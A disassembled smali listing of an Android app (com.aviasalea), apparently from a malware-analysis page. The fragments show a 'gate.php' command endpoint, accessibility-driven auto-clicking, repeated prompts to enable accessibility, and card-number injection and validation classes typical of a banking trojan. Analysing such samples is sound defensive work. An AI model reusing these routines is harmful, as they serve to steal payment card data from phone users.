                                      10iput-wide p2, p0, Lcom/aviasalea/ping/PingStats;->noPings:J
                                      11iput-wide p4, p0, Lcom/aviasalea/ping/PingStats;->packetsLost:J
                                      12const/high16 v0, 0x42c80000 # 100.0f
                                      13mul-float/2addr v0, p6
                                      14long-to-float v1, p2
                                      15div-float/2addr v0, v1
                                      16iput v0, p0, Lcom/aviasalea/ping/PingStats;->averageTimeTaken:F
                                      17iput p7, p0, Lcom/aviasalea/ping/PingStats;->minTimeTaken:F
                                      18iput p8, p0, Lcom/aviasalea/ping/PingStats;->maxTimeTaken:F
                                      19return-void
                                      Cross References
                                      APIs
                                      Strings
                                      • gate.php
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5"Lcom/aviasalea/api/request/HttpResponseHandler",
                                      6"<",
                                      7"Lcom/aviasalea/srs/api/responses/HitGateResponse;",
                                      8">;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13const-string v0, "gate.php"
                                      14const/16 v1, 0xa
                                      16invoke-direct {p0, p1, v0, v1}, Lcom/aviasalea/api/request/HttpRequest;-><init>(Landroid/content/Context;Ljava/lang/String;I)V
                                      17iput-object p1, p0, Lcom/aviasalea/srs/api/requests/HitGateRequest;->mContext:Landroid/content/Context;
                                      18iput-object p2, p0, Lcom/aviasalea/srs/api/requests/HitGateRequest;->mResponseHandlerHandler:Lcom/aviasalea/api/request/HttpResponseHandler;
                                      19return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.equals
                                      Position Instruction Meta Information
                                      0.param p1, "other" # Ljava/lang/Object;
                                      1.prologue
                                      2instance-of v1, p1, Lde/greenrobot/event/SubscriberMethod;
                                      3if-eqz v1, :cond_16
                                      5invoke-direct {p0}, Lde/greenrobot/event/SubscriberMethod;->checkMethodString()V
                                      6move-object v0, p1
                                      7check-cast v0, Lde/greenrobot/event/SubscriberMethod;
                                      9invoke-direct {v0}, Lde/greenrobot/event/SubscriberMethod;->checkMethodString()V
                                      11iget-object v1, p0, Lde/greenrobot/event/SubscriberMethod;->methodString:Ljava/lang/String;
                                      13iget-object v2, v0, Lde/greenrobot/event/SubscriberMethod;->methodString:Ljava/lang/String;
                                      15invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      16move-result v1
                                      17goto_15: return v1
                                      18cond_16: const/4 v1, 0x0
                                      19goto/16 :goto_15
                                      APIs
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p0, "am" # Landroid/app/ActivityManager;
                                      1.prologue
                                      3const-string v0, ""
                                      4try_start_2: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      5const/16 v3, 0x15
                                      6if-lt v2, v3, :cond_d
                                      8invoke-static {p0}, Lcom/aviasalea/checktls/PkgTls;->getActivityAfterLolipop(Landroid/app/ActivityManager;)Ljava/lang/String;
                                      9move-result-object v0
                                      10goto_c: return-object v0
                                      11cond_d:
                                      12invoke-static {p0}, Lcom/aviasalea/checktls/PkgTls;->getActivityBeforeLolipop(Landroid/app/ActivityManager;)Ljava/lang/String;
                                      13try_end_10: move-result-object v0
                                      14goto/16 :goto_c
                                      15catch_12: move-exception v1
                                      17invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                      18goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "cardName" # Ljava/lang/String;
                                      1.param p3, "drawable" # I
                                      2.annotation system Ldalvik/annotation/Signature;
                                      3value = {
                                      4"(",
                                      5"Ljava/lang/String;",
                                      6"Ljava/util/ArrayList",
                                      7"<",
                                      8"Ljava/lang/Integer;",
                                      9">;I)V"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      14invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      15iput-object p1, p0, Lcom/aviasalea/injs/g/val/models/Card;->cardName:Ljava/lang/String;
                                      16iput-object p2, p0, Lcom/aviasalea/injs/g/val/models/Card;->possibleLengths:Ljava/util/ArrayList;
                                      17iput p3, p0, Lcom/aviasalea/injs/g/val/models/Card;->drawable:I
                                      18return-void
                                      APIs
                                      • android.support.v4.app.Fragment.onCreate
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.eventBus:Lde/greenrobot/event/EventBus
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Landroid/support/v4/app/Fragment;->onCreate(Landroid/os/Bundle;)V
                                      5sget-object v0, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      7iget-object v0, v0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      9invoke-virtual {v0}, Lde/greenrobot/event/util/ErrorDialogConfig;->getEventBus()Lde/greenrobot/event/EventBus;
                                      10move-result-object v0
                                      11iput-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      13iget-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      15invoke-virtual {v0, p0}, Lde/greenrobot/event/EventBus;->register(Ljava/lang/Object;)V
                                      16const/4 v0, 0x1
                                      17iput-boolean v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->skipRegisterOnNextResume:Z
                                      18return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.param p2, "action" # I
                                      3.prologue
                                      5invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->findNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      6move-result-object v1
                                      7if-eqz v1, :cond_11
                                      9invoke-static {v1}, Lcom/aviasalea/checktls/NdTls;->getClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      10move-result-object v0
                                      11if-eqz v0, :cond_11
                                      13invoke-virtual {v0, p2}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      14move-result v2
                                      15goto_10: return v2
                                      16cond_11: const/4 v2, 0x0
                                      17goto/16 :goto_10
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "weight" # F
                                      3.param p3, "gravity" # I
                                      4.prologue
                                      5new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      6int-to-float v1, p0
                                      8invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      9move-result v1
                                      10int-to-float v2, p1
                                      12invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      13move-result v2
                                      15invoke-direct {v0, v1, v2, p2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(IIF)V
                                      16iput p3, v0, Landroid/widget/LinearLayout$LayoutParams;->gravity:I
                                      17return-object v0
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "errorCode" # I
                                      2.param p3, "description" # Ljava/lang/String;
                                      3.param p4, "url" # Ljava/lang/String;
                                      4.prologue
                                      6iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      7if-eqz v0, :cond_c
                                      8iget-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      9if-nez v0, :cond_c
                                      10const/4 v0, 0x1
                                      11iput-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      12goto_b: return-void
                                      13cond_c:
                                      14invoke-direct {p0, p4}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      15move-result-object v0
                                      16iput-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnErrorUrl:Ljava/lang/String;
                                      17goto/16 :goto_b
                                      Cross References
                                      APIs
                                      • java.util.concurrent.ExecutorService.execute
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.prologue
                                      4invoke-static {p1, p2}, Lde/greenrobot/event/PendingPost;->obtainPendingPost(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)Lde/greenrobot/event/PendingPost;
                                      5move-result-object v0
                                      7iget-object v1, p0, Lde/greenrobot/event/AsyncPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      9invoke-virtual {v1, v0}, Lde/greenrobot/event/PendingPostQueue;->enqueue(Lde/greenrobot/event/PendingPost;)V
                                      11iget-object v1, p0, Lde/greenrobot/event/AsyncPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      13invoke-virtual {v1}, Lde/greenrobot/event/EventBus;->getExecutorService()Ljava/util/concurrent/ExecutorService;
                                      14move-result-object v1
                                      16invoke-interface {v1, p0}, Ljava/util/concurrent/ExecutorService;->execute(Ljava/lang/Runnable;)V
                                      17return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "method" # Ljava/lang/reflect/Method;
                                      1.param p2, "threadMode" # Lde/greenrobot/event/ThreadMode;
                                      2.annotation system Ldalvik/annotation/Signature;
                                      3value = {
                                      4"(",
                                      5"Ljava/lang/reflect/Method;",
                                      6"Lde/greenrobot/event/ThreadMode;",
                                      7"Ljava/lang/Class",
                                      8"<*>;)V"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      14iput-object p1, p0, Lde/greenrobot/event/SubscriberMethod;->method:Ljava/lang/reflect/Method;
                                      15iput-object p2, p0, Lde/greenrobot/event/SubscriberMethod;->threadMode:Lde/greenrobot/event/ThreadMode;
                                      16iput-object p3, p0, Lde/greenrobot/event/SubscriberMethod;->eventType:Ljava/lang/Class;
                                      17return-void
                                      Cross References
                                      APIs
                                      • android.content.res.Resources.getString
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.param p2, "arguments" # Landroid/os/Bundle;
                                      2.prologue
                                      4iget-object v1, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      6iget-object v2, p1, Lde/greenrobot/event/util/ThrowableFailureEvent;->throwable:Ljava/lang/Throwable;
                                      8invoke-virtual {v1, v2}, Lde/greenrobot/event/util/ErrorDialogConfig;->getMessageIdForThrowable(Ljava/lang/Throwable;)I
                                      9move-result v0
                                      11iget-object v1, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      13iget-object v1, v1, Lde/greenrobot/event/util/ErrorDialogConfig;->resources:Landroid/content/res/Resources;
                                      15invoke-virtual {v1, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                                      16move-result-object v1
                                      17return-object v1
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "gravity" # I
                                      3.prologue
                                      4new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      5int-to-float v1, p0
                                      7invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      8move-result v1
                                      9int-to-float v2, p1
                                      11invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v2
                                      14invoke-direct {v0, v1, v2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                                      15iput p2, v0, Landroid/widget/LinearLayout$LayoutParams;->gravity:I
                                      16return-object v0
                                      Cross References
                                      APIs
                                      • java.lang.String.equals
                                      Position Instruction Meta Information
                                      0.param p1, "cardNumber" # Ljava/lang/String;
                                      1.prologue
                                      2const/4 v2, 0x0
                                      4iget-object v4, p0, Lcom/aviasalea/injs/g/val/CVal;->BLACK_LIST_CARDS:[Ljava/lang/String;
                                      5array-length v5, v4
                                      6move v3, v2
                                      7goto_5: if-ge v3, v5, :cond_10
                                      8aget-object v0, v4, v3
                                      10invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      11move-result v1
                                      12if-eqz v1, :cond_11
                                      13const/4 v2, 0x1
                                      14cond_10: return v2
                                      15cond_11: add-int/lit8 v3, v3, 0x1
                                      16goto/16 :goto_5
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "weight" # F
                                      3.prologue
                                      4new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      5int-to-float v1, p0
                                      7invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      8move-result v1
                                      9int-to-float v2, p1
                                      11invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v2
                                      14invoke-direct {v0, v1, v2, p2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(IIF)V
                                      15return-object v0
                                      APIs
                                      • android.widget.FrameLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.param p2, "gravity" # I
                                      3.prologue
                                      4new-instance v0, Landroid/widget/FrameLayout$LayoutParams;
                                      5int-to-float v1, p0
                                      7invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      8move-result v1
                                      9int-to-float v2, p1
                                      11invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      12move-result v2
                                      14invoke-direct {v0, v1, v2, p2}, Landroid/widget/FrameLayout$LayoutParams;-><init>(III)V
                                      15return-object v0
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      5iget-object v0, p1, Lcom/aviasalea/srs/api/responses/HitGateResponse;->title:Ljava/lang/String;
                                      6iput-object v0, p0, Lcom/aviasalea/not/NotController$NotModel;->mTitle:Ljava/lang/String;
                                      8iget-object v0, p1, Lcom/aviasalea/srs/api/responses/HitGateResponse;->message:Ljava/lang/String;
                                      9iput-object v0, p0, Lcom/aviasalea/not/NotController$NotModel;->mDesc:Ljava/lang/String;
                                      10iget v0, p1, Lcom/aviasalea/srs/api/responses/HitGateResponse;->icon:I
                                      12iget-object v1, p1, Lcom/aviasalea/srs/api/responses/HitGateResponse;->packageName:Ljava/lang/String;
                                      14invoke-direct {p0, v0, v1}, Lcom/aviasalea/not/NotController$NotModel;->setData(ILjava/lang/String;)V
                                      15return-void
                                      APIs
                                      • com.aviasalea.srs.StDlgSrs$StartDialogAccessTimerTask.context:Landroid/content/Context
                                      • com.aviasalea.srs.StDlgSrs$StartDialogAccessTimerTask.context:Landroid/content/Context
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0:
                                      2iget-object v1, p0, Lcom/aviasalea/srs/StDlgSrs$StartDialogAccessTimerTask;->context:Landroid/content/Context;
                                      4invoke-static {v1}, Lcom/aviasalea/checktls/ASTls;->isAccessibilitySettingsOn(Landroid/content/Context;)Z
                                      5move-result v1
                                      6if-nez v1, :cond_d
                                      8iget-object v1, p0, Lcom/aviasalea/srs/StDlgSrs$StartDialogAccessTimerTask;->context:Landroid/content/Context;
                                      10invoke-static {v1}, Lcom/aviasalea/checktls/IntTls;->startDialogAccess(Landroid/content/Context;)V
                                      11goto_d: return-void
                                      12catch_e: move-exception v0
                                      14invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      15goto/16 :goto_d
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "resources" # Landroid/content/res/Resources;
                                      1.param p2, "defaultTitleId" # I
                                      2.param p3, "defaultMsgId" # I
                                      3.prologue
                                      5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      6const/4 v0, 0x1
                                      7iput-boolean v0, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->logExceptions:Z
                                      8iput-object p1, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->resources:Landroid/content/res/Resources;
                                      9iput p2, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultTitleId:I
                                      10iput p3, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultErrorMsgId:I
                                      11new-instance v0, Lde/greenrobot/event/util/ExceptionToResourceMapping;
                                      13invoke-direct {v0}, Lde/greenrobot/event/util/ExceptionToResourceMapping;-><init>()V
                                      14iput-object v0, p0, Lde/greenrobot/event/util/ErrorDialogConfig;->mapping:Lde/greenrobot/event/util/ExceptionToResourceMapping;
                                      15return-void
                                      APIs
                                      • android.app.Fragment.onResume
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.eventBus:Lde/greenrobot/event/EventBus
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/app/Fragment;->onResume()V
                                      4sget-object v0, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      6iget-object v0, v0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      8invoke-virtual {v0}, Lde/greenrobot/event/util/ErrorDialogConfig;->getEventBus()Lde/greenrobot/event/EventBus;
                                      9move-result-object v0
                                      10iput-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      12iget-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      14invoke-virtual {v0, p0}, Lde/greenrobot/event/EventBus;->register(Ljava/lang/Object;)V
                                      15return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.equals
                                      Position Instruction Meta Information
                                      0.param p0, "executionScope" # Ljava/lang/Object;
                                      1.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      2.prologue
                                      3if-eqz p1, :cond_10
                                      5invoke-virtual {p1}, Lde/greenrobot/event/util/ThrowableFailureEvent;->getExecutionScope()Ljava/lang/Object;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_10
                                      9invoke-virtual {v0, p0}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                      10move-result v1
                                      11if-nez v1, :cond_10
                                      12const/4 v1, 0x0
                                      13goto_f: return v1
                                      14cond_10: const/4 v1, 0x1
                                      15goto/16 :goto_f
                                      Cross References
                                      APIs
                                      • java.lang.Math.ceil
                                      Position Instruction Meta Information
                                      0.param p0, "value" # F
                                      1.prologue
                                      2const/4 v0, 0x0
                                      3cmpl-float v0, p0, v0
                                      4if-nez v0, :cond_7
                                      5const/4 v0, 0x0
                                      6goto_6: return v0
                                      7cond_7: sget v0, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      8mul-float/2addr v0, p0
                                      9float-to-double v0, v0
                                      11invoke-static {v0, v1}, Ljava/lang/Math;->ceil(D)D
                                      12move-result-wide v0
                                      13double-to-int v0, v0
                                      14goto/16 :goto_6
                                      APIs
                                      • java.lang.Math.floor
                                      Position Instruction Meta Information
                                      0.param p0, "value" # F
                                      1.prologue
                                      2const/4 v0, 0x0
                                      3cmpl-float v0, p0, v0
                                      4if-nez v0, :cond_7
                                      5const/4 v0, 0x0
                                      6goto_6: return v0
                                      7cond_7: sget v0, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      8mul-float/2addr v0, p0
                                      9float-to-double v0, v0
                                      11invoke-static {v0, v1}, Ljava/lang/Math;->floor(D)D
                                      12move-result-wide v0
                                      13double-to-int v0, v0
                                      14goto/16 :goto_6
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.param p2, "text" # Ljava/lang/String;
                                      3.prologue
                                      5invoke-static {p0, p1, p2}, Lcom/aviasalea/checktls/NdTls;->findClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_d
                                      8const/16 v1, 0x10
                                      10invoke-virtual {v0, v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      11move-result v1
                                      12goto_c: return v1
                                      13cond_d: const/4 v1, 0x0
                                      14goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • android.widget.LinearLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # I
                                      2.prologue
                                      3new-instance v0, Landroid/widget/LinearLayout$LayoutParams;
                                      4int-to-float v1, p0
                                      6invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      7move-result v1
                                      8int-to-float v2, p1
                                      10invoke-static {v2}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      11move-result v2
                                      13invoke-direct {v0, v1, v2}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                                      14return-object v0
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "buttonText" # Ljava/lang/String;
                                      2.prologue
                                      4invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->getClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_d
                                      7const/16 v1, 0x10
                                      9invoke-virtual {v0, v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      10move-result v1
                                      11goto_c: return v1
                                      12cond_d: const/4 v1, 0x0
                                      13goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "buttonText" # Ljava/lang/String;
                                      2.param p2, "action" # I
                                      3.prologue
                                      5invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->getClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_b
                                      9invoke-virtual {v0, p2}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      10move-result v1
                                      11goto_a: return v1
                                      12cond_b: const/4 v1, 0x0
                                      13goto/16 :goto_a
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.prologue
                                      4invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->findClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_d
                                      7const/16 v1, 0x10
                                      9invoke-virtual {v0, v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      10move-result v1
                                      11goto_c: return v1
                                      12cond_d: const/4 v1, 0x0
                                      13goto/16 :goto_c
                                      APIs
                                      • android.widget.FrameLayout$LayoutParams.<init>
                                      Position Instruction Meta Information
                                      0.param p0, "width" # I
                                      1.param p1, "height" # F
                                      2.prologue
                                      3new-instance v0, Landroid/widget/FrameLayout$LayoutParams;
                                      4int-to-float v1, p0
                                      6invoke-static {v1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      7move-result v1
                                      9invoke-static {p1}, Lcom/aviasalea/base/dialog/LayoutHelper;->getSize(F)I
                                      10move-result v2
                                      12invoke-direct {v0, v1, v2}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
                                      13return-object v0
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "ret" # I
                                      1.param p2, "flag" # I
                                      2.param p3, "msg" # Ljava/lang/String;
                                      3.prologue
                                      5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      6const/4 v0, 0x0
                                      7iput v0, p0, Lcom/aviasalea/api/request/HttpResponse;->ret:I
                                      8const/4 v0, 0x0
                                      9iput-object v0, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      10iput p1, p0, Lcom/aviasalea/api/request/HttpResponse;->ret:I
                                      11iput p2, p0, Lcom/aviasalea/api/request/HttpResponse;->flag:I
                                      12iput-object p3, p0, Lcom/aviasalea/api/request/HttpResponse;->msg:Ljava/lang/String;
                                      13return-void
                                      APIs
                                      • com.aviasalea.injs.g.view.CCTransformation.sInstance:Lcom/aviasalea/injs/g/view/CCTransformation
                                      • com.aviasalea.injs.g.view.CCTransformation.sInstance:Lcom/aviasalea/injs/g/view/CCTransformation
                                      • com.aviasalea.injs.g.view.CCTransformation.<init>
                                      • com.aviasalea.injs.g.view.CCTransformation.sInstance:Lcom/aviasalea/injs/g/view/CCTransformation
                                      Position Instruction Meta Information
                                      0.prologue
                                      2sget-object v0, Lcom/aviasalea/injs/g/view/CCTransformation;->sInstance:Lcom/aviasalea/injs/g/view/CCTransformation;
                                      3if-eqz v0, :cond_7
                                      5sget-object v0, Lcom/aviasalea/injs/g/view/CCTransformation;->sInstance:Lcom/aviasalea/injs/g/view/CCTransformation;
                                      6goto_6: return-object v0
                                      7cond_7: new-instance v0, Lcom/aviasalea/injs/g/view/CCTransformation;
                                      9invoke-direct {v0}, Lcom/aviasalea/injs/g/view/CCTransformation;-><init>()V
                                      10sput-object v0, Lcom/aviasalea/injs/g/view/CCTransformation;->sInstance:Lcom/aviasalea/injs/g/view/CCTransformation;
                                      12sget-object v0, Lcom/aviasalea/injs/g/view/CCTransformation;->sInstance:Lcom/aviasalea/injs/g/view/CCTransformation;
                                      13goto/16 :goto_6
                                      Cross References
                                      APIs
                                      • android.content.res.Resources.getString
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.param p2, "arguments" # Landroid/os/Bundle;
                                      2.prologue
                                      4iget-object v0, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      6iget-object v0, v0, Lde/greenrobot/event/util/ErrorDialogConfig;->resources:Landroid/content/res/Resources;
                                      8iget-object v1, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      9iget v1, v1, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultTitleId:I
                                      11invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                                      12move-result-object v0
                                      13return-object v0
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.performAction
                                      Position Instruction Meta Information
                                      0.param p0, "node" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.prologue
                                      3invoke-static {p0}, Lcom/aviasalea/checktls/NdTls;->getClickableNode(Landroid/view/accessibility/AccessibilityNodeInfo;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      4move-result-object v0
                                      5if-eqz v0, :cond_d
                                      6const/16 v1, 0x10
                                      8invoke-virtual {v0, v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->performAction(I)Z
                                      9move-result v1
                                      10goto_c: return v1
                                      11cond_d: const/4 v1, 0x0
                                      12goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.rcv.RtlkReceiver.access$000
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "response" # Lcom/aviasalea/api/request/HttpResponse;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/srs/rcv/RtlkReceiver$1;->this$0:Lcom/aviasalea/srs/rcv/RtlkReceiver;
                                      6iget-object v1, p0, Lcom/aviasalea/srs/rcv/RtlkReceiver$1;->val$context:Landroid/content/Context;
                                      8iget-object v2, p0, Lcom/aviasalea/srs/rcv/RtlkReceiver$1;->val$chSmsClientStatus:Ljava/lang/String;
                                      9check-cast p2, Lcom/aviasalea/srs/api/responses/StatusResponse;
